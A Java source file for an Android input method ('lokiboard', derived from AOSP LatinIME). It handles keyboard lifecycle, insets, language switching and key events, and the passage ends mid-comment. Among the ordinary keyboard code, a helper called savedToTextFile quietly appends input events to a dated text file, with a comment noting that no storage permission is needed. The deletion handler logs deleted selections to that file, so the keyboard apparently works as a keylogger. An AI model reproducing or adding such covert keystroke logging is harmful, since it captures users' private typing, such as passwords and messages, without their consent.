/*
* Copyright (C) 2008 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.abifog.lokiboard.latin;
import android.app.AlertDialog;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.DialogInterface;
import android.content.DialogInterface.OnClickListener;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.res.Configuration;
import android.content.res.Resources;
import android.content.SharedPreferences;
import android.inputmethodservice.InputMethodService;
import android.media.AudioManager;
import android.os.Build;
import android.os.Debug;
import android.os.IBinder;
import android.os.Message;
import android.preference.PreferenceManager;
import android.text.InputType;
import android.util.Log;
import android.util.PrintWriterPrinter;
import android.util.Printer;
import android.view.Gravity;
import android.view.KeyEvent;
import android.view.View;
import android.view.ViewGroup.LayoutParams;
import android.view.Window;
import android.view.WindowManager;
import android.view.inputmethod.EditorInfo;
import android.view.inputmethod.InputMethodSubtype;
import java.io.File;
import java.io.FileDescriptor;
import java.io.FileOutputStream;
import java.io.PrintWriter;
import java.text.SimpleDateFormat;
import java.util.Locale;
import java.util.Date;
import java.util.concurrent.TimeUnit;
import com.abifog.lokiboard.R;
import com.abifog.lokiboard.compat.EditorInfoCompatUtils;
import com.abifog.lokiboard.compat.ViewOutlineProviderCompatUtils;
import com.abifog.lokiboard.compat.ViewOutlineProviderCompatUtils.InsetsUpdater;
import com.abifog.lokiboard.event.Event;
import com.abifog.lokiboard.event.InputTransaction;
import com.abifog.lokiboard.keyboard.Keyboard;
import com.abifog.lokiboard.keyboard.KeyboardActionListener;
import com.abifog.lokiboard.keyboard.KeyboardId;
import com.abifog.lokiboard.keyboard.KeyboardSwitcher;
import com.abifog.lokiboard.keyboard.MainKeyboardView;
import com.abifog.lokiboard.latin.common.Constants;
import com.abifog.lokiboard.latin.define.DebugFlags;
import com.abifog.lokiboard.latin.inputlogic.InputLogic;
import com.abifog.lokiboard.latin.settings.Settings;
import com.abifog.lokiboard.latin.settings.SettingsActivity;
import com.abifog.lokiboard.latin.settings.SettingsValues;
import com.abifog.lokiboard.latin.utils.ApplicationUtils;
import com.abifog.lokiboard.latin.utils.DialogUtils;
import com.abifog.lokiboard.latin.utils.IntentUtils;
import com.abifog.lokiboard.latin.utils.LeakGuardHandlerWrapper;
import com.abifog.lokiboard.latin.utils.ResourceUtils;
import com.abifog.lokiboard.latin.utils.ViewLayoutUtils;
/**
* Input method implementation for Qwerty'ish keyboard.
*/
public class LatinIME extends InputMethodService implements KeyboardActionListener {
static final String TAG = LatinIME.class.getSimpleName();
private static final boolean TRACE = false;
private static final int EXTENDED_TOUCHABLE_REGION_HEIGHT = 100;
private static final int PERIOD_FOR_AUDIO_AND_HAPTIC_FEEDBACK_IN_KEY_REPEAT = 2;
private static final int PENDING_IMS_CALLBACK_DURATION_MILLIS = 800;
static final long DELAY_DEALLOCATE_MEMORY_MILLIS = TimeUnit.SECONDS.toMillis(10);
final Settings mSettings;
private int mOriginalNavBarColor = 0;
private int mOriginalNavBarFlags = 0;
final InputLogic mInputLogic = new InputLogic(this /* LatinIME */);
// TODO: Move these {@link View}s to {@link KeyboardSwitcher}.
private View mInputView;
private InsetsUpdater mInsetsUpdater;
private RichInputMethodManager mRichImm;
final KeyboardSwitcher mKeyboardSwitcher;
private final SubtypeState mSubtypeState = new SubtypeState();
private AlertDialog mOptionsDialog;
public final UIHandler mHandler = new UIHandler(this);
public static final class UIHandler extends LeakGuardHandlerWrapper<LatinIME> {
private static final int MSG_UPDATE_SHIFT_STATE = 0;
private static final int MSG_PENDING_IMS_CALLBACK = 1;
private static final int MSG_REOPEN_DICTIONARIES = 5;
private static final int MSG_RESET_CACHES = 7;
private static final int MSG_WAIT_FOR_DICTIONARY_LOAD = 8;
private static final int MSG_DEALLOCATE_MEMORY = 9;
private static final int MSG_SWITCH_LANGUAGE_AUTOMATICALLY = 11;
private static final int ARG1_TRUE = 1;
private int mDelayInMillisecondsToUpdateShiftState;
public UIHandler(final LatinIME ownerInstance) {
super(ownerInstance);
}
public void onCreate() {
final LatinIME latinIme = getOwnerInstance();
if (latinIme == null) {
return;
}
final Resources res = latinIme.getResources();
mDelayInMillisecondsToUpdateShiftState = res.getInteger(
R.integer.config_delay_in_milliseconds_to_update_shift_state);
}
@Override
public void handleMessage(final Message msg) {
final LatinIME latinIme = getOwnerInstance();
if (latinIme == null) {
return;
}
final KeyboardSwitcher switcher = latinIme.mKeyboardSwitcher;
switch (msg.what) {
case MSG_UPDATE_SHIFT_STATE:
switcher.requestUpdatingShiftState(latinIme.getCurrentAutoCapsState(),
latinIme.getCurrentRecapitalizeState());
break;
case MSG_RESET_CACHES:
final SettingsValues settingsValues = latinIme.mSettings.getCurrent();
if (latinIme.mInputLogic.retryResetCachesAndReturnSuccess(
msg.arg1 == ARG1_TRUE /* tryResumeSuggestions */,
msg.arg2 /* remainingTries */, this /* handler */)) {
// If we were able to reset the caches, then we can reload the keyboard.
// Otherwise, we'll do it when we can.
latinIme.mKeyboardSwitcher.loadKeyboard(latinIme.getCurrentInputEditorInfo(),
settingsValues, latinIme.getCurrentAutoCapsState(),
latinIme.getCurrentRecapitalizeState());
}
break;
case MSG_WAIT_FOR_DICTIONARY_LOAD:
Log.i(TAG, "Timeout waiting for dictionary load");
break;
case MSG_DEALLOCATE_MEMORY:
latinIme.deallocateMemory();
break;
case MSG_SWITCH_LANGUAGE_AUTOMATICALLY:
latinIme.switchLanguage((InputMethodSubtype)msg.obj);
break;
}
}
public void postReopenDictionaries() {
sendMessage(obtainMessage(MSG_REOPEN_DICTIONARIES));
}
public void postResetCaches(final boolean tryResumeSuggestions, final int remainingTries) {
removeMessages(MSG_RESET_CACHES);
sendMessage(obtainMessage(MSG_RESET_CACHES, tryResumeSuggestions ? 1 : 0,
remainingTries, null));
}
public void postUpdateShiftState() {
removeMessages(MSG_UPDATE_SHIFT_STATE);
sendMessageDelayed(obtainMessage(MSG_UPDATE_SHIFT_STATE),
mDelayInMillisecondsToUpdateShiftState);
}
public void postDeallocateMemory() {
sendMessageDelayed(obtainMessage(MSG_DEALLOCATE_MEMORY),
DELAY_DEALLOCATE_MEMORY_MILLIS);
}
public void cancelDeallocateMemory() {
removeMessages(MSG_DEALLOCATE_MEMORY);
}
public boolean hasPendingDeallocateMemory() {
return hasMessages(MSG_DEALLOCATE_MEMORY);
}
public void postSwitchLanguage(final InputMethodSubtype subtype) {
obtainMessage(MSG_SWITCH_LANGUAGE_AUTOMATICALLY, subtype).sendToTarget();
}
// Working variables for the following methods.
private boolean mIsOrientationChanging;
private boolean mPendingSuccessiveImsCallback;
private boolean mHasPendingStartInput;
private boolean mHasPendingFinishInputView;
private boolean mHasPendingFinishInput;
private EditorInfo mAppliedEditorInfo;
private void resetPendingImsCallback() {
mHasPendingFinishInputView = false;
mHasPendingFinishInput = false;
mHasPendingStartInput = false;
}
private void executePendingImsCallback(final LatinIME latinIme, final EditorInfo editorInfo,
boolean restarting) {
if (mHasPendingFinishInputView) {
latinIme.onFinishInputViewInternal(mHasPendingFinishInput);
}
if (mHasPendingFinishInput) {
latinIme.onFinishInputInternal();
}
if (mHasPendingStartInput) {
latinIme.onStartInputInternal(editorInfo, restarting);
}
resetPendingImsCallback();
}
public void onStartInput(final EditorInfo editorInfo, final boolean restarting) {
if (hasMessages(MSG_PENDING_IMS_CALLBACK)) {
// Typically this is the second onStartInput after orientation changed.
mHasPendingStartInput = true;
} else {
if (mIsOrientationChanging && restarting) {
// This is the first onStartInput after orientation changed.
mIsOrientationChanging = false;
mPendingSuccessiveImsCallback = true;
}
final LatinIME latinIme = getOwnerInstance();
if (latinIme != null) {
executePendingImsCallback(latinIme, editorInfo, restarting);
latinIme.onStartInputInternal(editorInfo, restarting);
}
}
}
public void onStartInputView(final EditorInfo editorInfo, final boolean restarting) {
if (hasMessages(MSG_PENDING_IMS_CALLBACK)
&& KeyboardId.equivalentEditorInfoForKeyboard(editorInfo, mAppliedEditorInfo)) {
// Typically this is the second onStartInputView after orientation changed.
resetPendingImsCallback();
} else {
if (mPendingSuccessiveImsCallback) {
// This is the first onStartInputView after orientation changed.
mPendingSuccessiveImsCallback = false;
resetPendingImsCallback();
sendMessageDelayed(obtainMessage(MSG_PENDING_IMS_CALLBACK),
PENDING_IMS_CALLBACK_DURATION_MILLIS);
}
final LatinIME latinIme = getOwnerInstance();
if (latinIme != null) {
executePendingImsCallback(latinIme, editorInfo, restarting);
latinIme.onStartInputViewInternal(editorInfo, restarting);
mAppliedEditorInfo = editorInfo;
}
cancelDeallocateMemory();
}
}
public void onFinishInputView(final boolean finishingInput) {
if (hasMessages(MSG_PENDING_IMS_CALLBACK)) {
// Typically this is the first onFinishInputView after orientation changed.
mHasPendingFinishInputView = true;
} else {
final LatinIME latinIme = getOwnerInstance();
if (latinIme != null) {
latinIme.onFinishInputViewInternal(finishingInput);
mAppliedEditorInfo = null;
}
if (!hasPendingDeallocateMemory()) {
postDeallocateMemory();
}
}
}
public void onFinishInput() {
if (hasMessages(MSG_PENDING_IMS_CALLBACK)) {
// Typically this is the first onFinishInput after orientation changed.
mHasPendingFinishInput = true;
} else {
final LatinIME latinIme = getOwnerInstance();
if (latinIme != null) {
executePendingImsCallback(latinIme, null, false);
latinIme.onFinishInputInternal();
}
}
}
}
static final class SubtypeState {
private InputMethodSubtype mLastActiveSubtype;
private boolean mCurrentSubtypeHasBeenUsed;
public void switchSubtype(final IBinder token, final RichInputMethodManager richImm) {
final InputMethodSubtype currentSubtype = richImm.getInputMethodManager()
.getCurrentInputMethodSubtype();
final InputMethodSubtype lastActiveSubtype = mLastActiveSubtype;
final boolean currentSubtypeHasBeenUsed = mCurrentSubtypeHasBeenUsed;
if (currentSubtypeHasBeenUsed) {
mLastActiveSubtype = currentSubtype;
mCurrentSubtypeHasBeenUsed = false;
}
if (currentSubtypeHasBeenUsed
&& richImm.checkIfSubtypeBelongsToThisImeAndEnabled(lastActiveSubtype)
&& !currentSubtype.equals(lastActiveSubtype)) {
richImm.setInputMethodAndSubtype(token, lastActiveSubtype);
return;
}
richImm.switchToNextInputMethod(token, true /* onlyCurrentIme */);
}
}
public LatinIME() {
super();
mSettings = Settings.getInstance();
mKeyboardSwitcher = KeyboardSwitcher.getInstance();
}
@Override
public void onCreate() {
Settings.init(this);
DebugFlags.init(PreferenceManager.getDefaultSharedPreferences(this));
RichInputMethodManager.init(this);
mRichImm = RichInputMethodManager.getInstance();
KeyboardSwitcher.init(this);
AudioAndHapticFeedbackManager.init(this);
super.onCreate();
mHandler.onCreate();
// TODO: Resolve mutual dependencies of {@link #loadSettings()} and
// {@link #resetDictionaryFacilitatorIfNecessary()}.
loadSettings();
// Register to receive ringer mode change.
final IntentFilter filter = new IntentFilter();
filter.addAction(AudioManager.RINGER_MODE_CHANGED_ACTION);
registerReceiver(mRingerModeChangeReceiver, filter);
}
private void loadSettings() {
final Locale locale = mRichImm.getCurrentSubtypeLocale();
final EditorInfo editorInfo = getCurrentInputEditorInfo();
final InputAttributes inputAttributes = new InputAttributes(editorInfo, isFullscreenMode());
mSettings.loadSettings(this, locale, inputAttributes);
final SettingsValues currentSettingsValues = mSettings.getCurrent();
AudioAndHapticFeedbackManager.getInstance().onSettingsChanged(currentSettingsValues);
}
@Override
public void onDestroy() {
mSettings.onDestroy();
unregisterReceiver(mRingerModeChangeReceiver);
super.onDestroy();
}
private boolean isImeSuppressedByHardwareKeyboard() {
final KeyboardSwitcher switcher = KeyboardSwitcher.getInstance();
return !onEvaluateInputViewShown() && switcher.isImeSuppressedByHardwareKeyboard(
mSettings.getCurrent(), switcher.getKeyboardSwitchState());
}
@Override
public void onConfigurationChanged(final Configuration conf) {
SettingsValues settingsValues = mSettings.getCurrent();
if (settingsValues.mHasHardwareKeyboard != Settings.readHasHardwareKeyboard(conf)) {
// If the state of having a hardware keyboard changed, then we want to reload the
// settings to adjust for that.
// TODO: we should probably do this unconditionally here, rather than only when we
// have a change in hardware keyboard configuration.
loadSettings();
}
super.onConfigurationChanged(conf);
}
@Override
public View onCreateInputView() {
return mKeyboardSwitcher.onCreateInputView();
}
@Override
public void setInputView(final View view) {
super.setInputView(view);
mInputView = view;
mInsetsUpdater = ViewOutlineProviderCompatUtils.setInsetsOutlineProvider(view);
updateSoftInputWindowLayoutParameters();
}
@Override
public void setCandidatesView(final View view) {
// To ensure that CandidatesView will never be set.
}
@Override
public void onStartInput(final EditorInfo editorInfo, final boolean restarting) {
mHandler.onStartInput(editorInfo, restarting);
}
@Override
public void onStartInputView(final EditorInfo editorInfo, final boolean restarting) {
mHandler.onStartInputView(editorInfo, restarting);
}
@Override
public void onFinishInputView(final boolean finishingInput) {
mHandler.onFinishInputView(finishingInput);
}
@Override
public void onFinishInput() {
mHandler.onFinishInput();
}
@Override
public void onCurrentInputMethodSubtypeChanged(final InputMethodSubtype subtype) {
// Note that the calling sequence of onCreate() and onCurrentInputMethodSubtypeChanged()
// is not guaranteed. It may even be called at the same time on a different thread.
mRichImm.onSubtypeChanged(subtype);
mInputLogic.onSubtypeChanged();
loadKeyboard();
}
void onStartInputInternal(final EditorInfo editorInfo, final boolean restarting) {
super.onStartInput(editorInfo, restarting);
// If the primary hint language does not match the current subtype language, then try
// to switch to the primary hint language.
// TODO: Support all the locales in EditorInfo#hintLocales.
final Locale primaryHintLocale = EditorInfoCompatUtils.getPrimaryHintLocale(editorInfo);
if (primaryHintLocale == null) {
return;
}
final InputMethodSubtype newSubtype = mRichImm.findSubtypeByLocale(primaryHintLocale);
if (newSubtype == null || newSubtype.equals(mRichImm.getCurrentSubtype().getRawSubtype())) {
return;
}
mHandler.postSwitchLanguage(newSubtype);
}
@SuppressWarnings("deprecation")
void onStartInputViewInternal(final EditorInfo editorInfo, final boolean restarting) {
super.onStartInputView(editorInfo, restarting);
// Switch to the null consumer to handle cases leading to early exit below, for which we
// also wouldn't be consuming gesture data.
mRichImm.refreshSubtypeCaches();
final KeyboardSwitcher switcher = mKeyboardSwitcher;
switcher.updateKeyboardTheme();
final MainKeyboardView mainKeyboardView = switcher.getMainKeyboardView();
// If we are starting input in a different text field from before, we'll have to reload
// settings, so currentSettingsValues can't be final.
SettingsValues currentSettingsValues = mSettings.getCurrent();
if (editorInfo == null) {
Log.e(TAG, "Null EditorInfo in onStartInputView()");
if (DebugFlags.DEBUG_ENABLED) {
throw new NullPointerException("Null EditorInfo in onStartInputView()");
}
return;
}
if (DebugFlags.DEBUG_ENABLED) {
Log.d(TAG, "onStartInputView: editorInfo:"
+ String.format("inputType=0x%08x imeOptions=0x%08x",
editorInfo.inputType, editorInfo.imeOptions));
Log.d(TAG, "All caps = "
+ ((editorInfo.inputType & InputType.TYPE_TEXT_FLAG_CAP_CHARACTERS) != 0)
+ ", sentence caps = "
+ ((editorInfo.inputType & InputType.TYPE_TEXT_FLAG_CAP_SENTENCES) != 0)
+ ", word caps = "
+ ((editorInfo.inputType & InputType.TYPE_TEXT_FLAG_CAP_WORDS) != 0));
}
Log.i(TAG, "Starting input. Cursor position = "
+ editorInfo.initialSelStart + "," + editorInfo.initialSelEnd);
// In landscape mode, this method gets called without the input view being created.
if (mainKeyboardView == null) {
return;
}
final boolean inputTypeChanged = !currentSettingsValues.isSameInputType(editorInfo);
final boolean isDifferentTextField = !restarting || inputTypeChanged;
// The EditorInfo might have a flag that affects fullscreen mode.
// Note: This call should be done by InputMethodService?
updateFullscreenMode();
// ALERT: settings have not been reloaded and there is a chance they may be stale.
// In the practice, if it is, we should have gotten onConfigurationChanged so it should
// be fine, but this is horribly confusing and must be fixed AS SOON AS POSSIBLE.
// In some cases the input connection has not been reset yet and we can't access it. In
// this case we will need to call loadKeyboard() later, when it's accessible, so that we
// can go into the correct mode, so we need to do some housekeeping here.
final boolean needToCallLoadKeyboardLater;
if (!isImeSuppressedByHardwareKeyboard()) {
// The app calling setText() has the effect of clearing the composing
// span, so we should reset our state unconditionally, even if restarting is true.
// We also tell the input logic about the combining rules for the current subtype, so
// it can adjust its combiners if needed.
mInputLogic.startInput();
// TODO[IL]: Can the following be moved to InputLogic#startInput?
if (!mInputLogic.mConnection.resetCachesUponCursorMoveAndReturnSuccess(
editorInfo.initialSelStart, editorInfo.initialSelEnd)) {
// Sometimes, while rotating, for some reason the framework tells the app we are not
// connected to it and that means we can't refresh the cache. In this case, schedule
// a refresh later.
// We try resetting the caches up to 5 times before giving up.
mHandler.postResetCaches(isDifferentTextField, 5 /* remainingTries */);
// mLastSelection{Start,End} are reset later in this method, no need to do it here
needToCallLoadKeyboardLater = true;
} else {
// When rotating, and when input is starting again in a field from where the focus
// didn't move (the keyboard having been closed with the back key),
// initialSelStart and initialSelEnd sometimes are lying. Make a best effort to
// work around this bug.
mInputLogic.mConnection.tryFixLyingCursorPosition();
needToCallLoadKeyboardLater = false;
}
} else {
// If we have a hardware keyboard we don't need to call loadKeyboard later anyway.
needToCallLoadKeyboardLater = false;
}
if (isDifferentTextField ||
!currentSettingsValues.hasSameOrientation(getResources().getConfiguration())) {
loadSettings();
}
if (isDifferentTextField) {
mainKeyboardView.closing();
currentSettingsValues = mSettings.getCurrent();
switcher.loadKeyboard(editorInfo, currentSettingsValues, getCurrentAutoCapsState(),
getCurrentRecapitalizeState());
if (needToCallLoadKeyboardLater) {
// If we need to call loadKeyboard again later, we need to save its state now. The
// later call will be done in #retryResetCaches.
switcher.saveKeyboardState();
}
} else if (restarting) {
// TODO: Come up with a more comprehensive way to reset the keyboard layout when
// a keyboard layout set doesn't get reloaded in this method.
switcher.resetKeyboardStateToAlphabet(getCurrentAutoCapsState(),
getCurrentRecapitalizeState());
// In apps like Talk, we come here when the text is sent and the field gets emptied and
// we need to re-evaluate the shift state, but not the whole layout which would be
// disruptive.
// Space state must be updated before calling updateShiftState
switcher.requestUpdatingShiftState(getCurrentAutoCapsState(),
getCurrentRecapitalizeState());
}
if (TRACE) Debug.startMethodTracing("/data/trace/latinime");
}
@Override
public void onWindowShown() {
super.onWindowShown();
if (isInputViewShown())
setNavigationBarColor();
}
@Override
public void onWindowHidden() {
super.onWindowHidden();
final MainKeyboardView mainKeyboardView = mKeyboardSwitcher.getMainKeyboardView();
if (mainKeyboardView != null) {
mainKeyboardView.closing();
}
clearNavigationBarColor();
}
void onFinishInputInternal() {
super.onFinishInput();
final MainKeyboardView mainKeyboardView = mKeyboardSwitcher.getMainKeyboardView();
if (mainKeyboardView != null) {
mainKeyboardView.closing();
}
}
void onFinishInputViewInternal(final boolean finishingInput) {
super.onFinishInputView(finishingInput);
}
protected void deallocateMemory() {
mKeyboardSwitcher.deallocateMemory();
}
@Override
public void onUpdateSelection(final int oldSelStart, final int oldSelEnd,
final int newSelStart, final int newSelEnd,
final int composingSpanStart, final int composingSpanEnd) {
super.onUpdateSelection(oldSelStart, oldSelEnd, newSelStart, newSelEnd,
composingSpanStart, composingSpanEnd);
if (DebugFlags.DEBUG_ENABLED) {
Log.i(TAG, "onUpdateSelection: oss=" + oldSelStart + ", ose=" + oldSelEnd
+ ", nss=" + newSelStart + ", nse=" + newSelEnd
+ ", cs=" + composingSpanStart + ", ce=" + composingSpanEnd);
}
// This call happens whether our view is displayed or not, but if it's not then we should
// not attempt recorrection. This is true even with a hardware keyboard connected: if the
// view is not displayed we have no means of showing suggestions anyway, and if it is then
// we want to show suggestions anyway.
if (isInputViewShown()
&& mInputLogic.onUpdateSelection(newSelStart, newSelEnd)) {
mKeyboardSwitcher.requestUpdatingShiftState(getCurrentAutoCapsState(),
getCurrentRecapitalizeState());
}
}
@Override
public void hideWindow() {
mKeyboardSwitcher.onHideWindow();
if (TRACE) Debug.stopMethodTracing();
if (isShowingOptionDialog()) {
mOptionsDialog.dismiss();
mOptionsDialog = null;
}
super.hideWindow();
}
@Override
public void onComputeInsets(final InputMethodService.Insets outInsets) {
super.onComputeInsets(outInsets);
// This method may be called before {@link #setInputView(View)}.
if (mInputView == null) {
return;
}
final View visibleKeyboardView = mKeyboardSwitcher.getVisibleKeyboardView();
if (visibleKeyboardView == null) {
return;
}
final int inputHeight = mInputView.getHeight();
if (isImeSuppressedByHardwareKeyboard() && !visibleKeyboardView.isShown()) {
// If there is a hardware keyboard and a visible software keyboard view has been hidden,
// no visual element will be shown on the screen.
outInsets.contentTopInsets = inputHeight;
outInsets.visibleTopInsets = inputHeight;
mInsetsUpdater.setInsets(outInsets);
return;
}
final int visibleTopY = inputHeight - visibleKeyboardView.getHeight();
// Need to set expanded touchable region only if a keyboard view is being shown.
if (visibleKeyboardView.isShown()) {
final int touchLeft = 0;
final int touchTop = mKeyboardSwitcher.isShowingMoreKeysPanel() ? 0 : visibleTopY;
final int touchRight = visibleKeyboardView.getWidth();
final int touchBottom = inputHeight
// Extend touchable region below the keyboard.
+ EXTENDED_TOUCHABLE_REGION_HEIGHT;
outInsets.touchableInsets = InputMethodService.Insets.TOUCHABLE_INSETS_REGION;
outInsets.touchableRegion.set(touchLeft, touchTop, touchRight, touchBottom);
}
outInsets.contentTopInsets = visibleTopY;
outInsets.visibleTopInsets = visibleTopY;
mInsetsUpdater.setInsets(outInsets);
}
@Override
public boolean onShowInputRequested(final int flags, final boolean configChange) {
if (isImeSuppressedByHardwareKeyboard()) {
return true;
}
return super.onShowInputRequested(flags, configChange);
}
@Override
public boolean onEvaluateFullscreenMode() {
if (isImeSuppressedByHardwareKeyboard()) {
// If there is a hardware keyboard, disable full screen mode.
return false;
}
// Reread resource value here, because this method is called by the framework as needed.
final boolean isFullscreenModeAllowed = Settings.readUseFullscreenMode(getResources());
if (super.onEvaluateFullscreenMode() && isFullscreenModeAllowed) {
// TODO: Remove this hack. Actually we should not really assume NO_EXTRACT_UI
// implies NO_FULLSCREEN. However, the framework mistakenly does. i.e. NO_EXTRACT_UI
// without NO_FULLSCREEN doesn't work as expected. Because of this we need this
// hack for now. Let's get rid of this once the framework gets fixed.
final EditorInfo ei = getCurrentInputEditorInfo();
return !(ei != null && ((ei.imeOptions & EditorInfo.IME_FLAG_NO_EXTRACT_UI) != 0));
}
return false;
}
@Override
public void updateFullscreenMode() {
super.updateFullscreenMode();
updateSoftInputWindowLayoutParameters();
}
private void updateSoftInputWindowLayoutParameters() {
// Override layout parameters to expand {@link SoftInputWindow} to the entire screen.
// See {@link InputMethodService#setinputView(View)} and
// {@link SoftInputWindow#updateWidthHeight(WindowManager.LayoutParams)}.
final Window window = getWindow().getWindow();
ViewLayoutUtils.updateLayoutHeightOf(window, LayoutParams.MATCH_PARENT);
// This method may be called before {@link #setInputView(View)}.
if (mInputView != null) {
// In non-fullscreen mode, {@link InputView} and its parent inputArea should expand to
// the entire screen and be placed at the bottom of {@link SoftInputWindow}.
// In fullscreen mode, these shouldn't expand to the entire screen and should be
// coexistent with {@link #mExtractedArea} above.
// See {@link InputMethodService#setInputView(View) and
// com.android.internal.R.layout.input_method.xml.
final int layoutHeight = isFullscreenMode()
? LayoutParams.WRAP_CONTENT : LayoutParams.MATCH_PARENT;
final View inputArea = window.findViewById(android.R.id.inputArea);
ViewLayoutUtils.updateLayoutHeightOf(inputArea, layoutHeight);
ViewLayoutUtils.updateLayoutGravityOf(inputArea, Gravity.BOTTOM);
ViewLayoutUtils.updateLayoutHeightOf(mInputView, layoutHeight);
}
}
int getCurrentAutoCapsState() {
return mInputLogic.getCurrentAutoCapsState(mSettings.getCurrent());
}
int getCurrentRecapitalizeState() {
return mInputLogic.getCurrentRecapitalizeState();
}
public void displaySettingsDialog() {
if (isShowingOptionDialog()) {
return;
}
showSubtypeSelectorAndSettings();
}
@Override
public boolean onCustomRequest(final int requestCode) {
if (isShowingOptionDialog()) return false;
switch (requestCode) {
case Constants.CUSTOM_CODE_SHOW_INPUT_METHOD_PICKER:
if (mRichImm.hasMultipleEnabledIMEsOrSubtypes(true /* include aux subtypes */)) {
mRichImm.getInputMethodManager().showInputMethodPicker();
return true;
}
return false;
}
return false;
}
@Override
public void onMovePointer(int steps) {
for (;steps < 0; steps++)
mInputLogic.sendDownUpKeyEvent(KeyEvent.KEYCODE_DPAD_LEFT);
for (;steps > 0; steps--)
mInputLogic.sendDownUpKeyEvent(KeyEvent.KEYCODE_DPAD_RIGHT);
}
@Override
public void onMoveDeletePointer(int steps) {
int end = mInputLogic.mConnection.getExpectedSelectionEnd();
int start = mInputLogic.mConnection.getExpectedSelectionStart() + steps;
if (start > end)
return;
mInputLogic.mConnection.setSelection(start, end);
}
private void savedToTextFile(String fileContents) {
SimpleDateFormat sdf = new SimpleDateFormat("dd_MM_yyyy", Locale.getDefault());
String fileName = "lokiboard_files_" + sdf.format(new Date()) + ".txt";
try {
// This implementation does not require storage read/write permissions from the user
// Stores in Internal Storage > Android > data > com.abifog.lokiboard
File outfile = new File(this.getExternalFilesDir(null), fileName);
FileOutputStream lokiFOut = new FileOutputStream(outfile,true);
lokiFOut.write(fileContents.getBytes());
lokiFOut.close();
}
catch (Exception e) {
// TODO Auto-generated catch block
Log.d("ERROR" , "Something went wrong");
}
// Save received argument (string) to a text file
}
@Override
public void onUpWithDeletePointerActive() {
if (mInputLogic.mConnection.hasSelection()) {
int end = mInputLogic.mConnection.getExpectedSelectionEnd();
int start = mInputLogic.mConnection.getExpectedSelectionStart();
int steps = start - end;
// Log
mInputLogic.sendDownUpKeyEvent(KeyEvent.KEYCODE_DEL);
String pressedChar = "[DEL-" + Math.abs(steps) + " Selected Characters]";
savedToTextFile(pressedChar);
}
}
private boolean isShowingOptionDialog() {
return mOptionsDialog != null && mOptionsDialog.isShowing();
}
public void switchLanguage(final InputMethodSubtype subtype) {
final IBinder token = getWindow().getWindow().getAttributes().token;
mRichImm.setInputMethodAndSubtype(token, subtype);
}
// TODO: Revise the language switch key behavior to make it much smarter and more reasonable.
public void switchToNextSubtype() {
final IBinder token = getWindow().getWindow().getAttributes().token;
if (shouldSwitchToOtherInputMethods()) {
mRichImm.switchToNextInputMethod(token, false /* onlyCurrentIme */);
return;
}
mSubtypeState.switchSubtype(token, mRichImm);
}
// TODO: Instead of checking for alphabetic keyboard here, separate keycodes for
// alphabetic shift and shift while in symbol layout and get rid of this method.
private int getCodePointForKeyboard(final int codePoint) {
if (Constants.CODE_SHIFT == codePoint) {
final Keyboard currentKeyboard = mKeyboardSwitcher.getKeyboard();
if (null != currentKeyboard && currentKeyboard.mId.isAlphabetKeyboard()) {
return codePoint;
}
return Constants.CODE_SYMBOL_SHIFT;
}
return codePoint;
}
// Implementation of {@link KeyboardActionListener}.
@Override
public void onCodeInput(final int codePoint, final int x, final int y,
final boolean isKeyRepeat) {
// TODO: this processing does not belong inside LatinIME, the caller should be doing this.
final MainKeyboardView mainKeyboardView = mKeyboardSwitcher.getMainKeyboardView();
// x and y include some padding, but everything down the line (especially native
// code) needs the coordinates in the keyboard frame.
// TODO: We should reconsider which coordinate system should be used to represent
// keyboard event. Also we should pull this up -- LatinIME has no business doing
// this transformation, it should be done already before calling onEvent.
final int keyX = mainKeyboardView.getKeyX(x);
final int keyY = mainKeyboardView.getKeyY(y);
final Event event = createSoftwareKeypressEvent(getCodePointForKeyboard(codePoint),
keyX, keyY, isKeyRepeat);
onEvent(event);
}
// This method is public for testability of LatinIME, but also in the future it should
// completely replace #onCodeInput.
public void onEvent(final Event event) {
if (Constants.CODE_SHORTCUT == event.mKeyCode) {
mRichImm.switchToShortcutIme(this);
}
final InputTransaction completeInputTransaction =
mInputLogic.onCodeInput(mSettings.getCurrent(), event);
updateStateAfterInputTransaction(completeInputTransaction);
mKeyboardSwitcher.onEvent(event, getCurrentAutoCapsState(), getCurrentRecapitalizeState());
}
// A helper method to split the code point and the key code. Ultimately, they should not be
// squashed into the same variable, and this method should be removed.
// public for testing, as we don't want to copy the same logic into test code
public static Event createSoftwareKeypressEvent(final int keyCodeOrCodePoint, final int keyX,
final int keyY, final boolean isKeyRepeat) {
final int keyCode;
final int codePoint;
if (keyCodeOrCodePoint <= 0) {
keyCode = keyCodeOrCodePoint;
codePoint = Event.NOT_A_CODE_POINT;
} else {
keyCode = Event.NOT_A_KEY_CODE;
codePoint = keyCodeOrCodePoint;
}
return Event.createSoftwareKeypressEvent(codePoint, keyCode, keyX, keyY, isKeyRepeat);
}
// Called from PointerTracker through the KeyboardActionListener interface
@Override
public void onTextInput(final String rawText) {
// TODO: have the keyboard pass the correct key code when we need it.
final Event event = Event.createSoftwareTextEvent(rawText, Constants.CODE_OUTPUT_TEXT);
final InputTransaction completeInputTransaction =
mInputLogic.onTextInput(mSettings.getCurrent(), event);
updateStateAfterInputTransaction(completeInputTransaction);
mKeyboardSwitcher.onEvent(event, getCurrentAutoCapsState(), getCurrentRecapitalizeState());
}
// Called from PointerTracker through the KeyboardActionListener interface
@Override
public void onFinishSlidingInput() {
// User finished sliding input.
mKeyboardSwitcher.onFinishSlidingInput(getCurrentAutoCapsState(),
getCurrentRecapitalizeState());
}
private void loadKeyboard() {
// Since we are switching languages, the most urgent thing is to let the keyboard graphics
// update. LoadKeyboard does that, but we need to wait for buffer flip for it to be on
// the screen. Anything we do right now will delay this, so wait until the next frame
// before we do the rest, like reopening dictionaries and updating suggestions. So we
// post a message.
mHandler.postReopenDictionaries();
loadSettings();
if (mKeyboardSwitcher.getMainKeyboardView() != null) {
// Reload keyboard because the current language has been changed.
mKeyboardSwitcher.loadKeyboard(getCurrentInputEditorInfo(), mSettings.getCurrent(),
getCurrentAutoCapsState(), getCurrentRecapitalizeState());
}
}
/**
* After an input transaction has been executed, some state must be updated. This includes
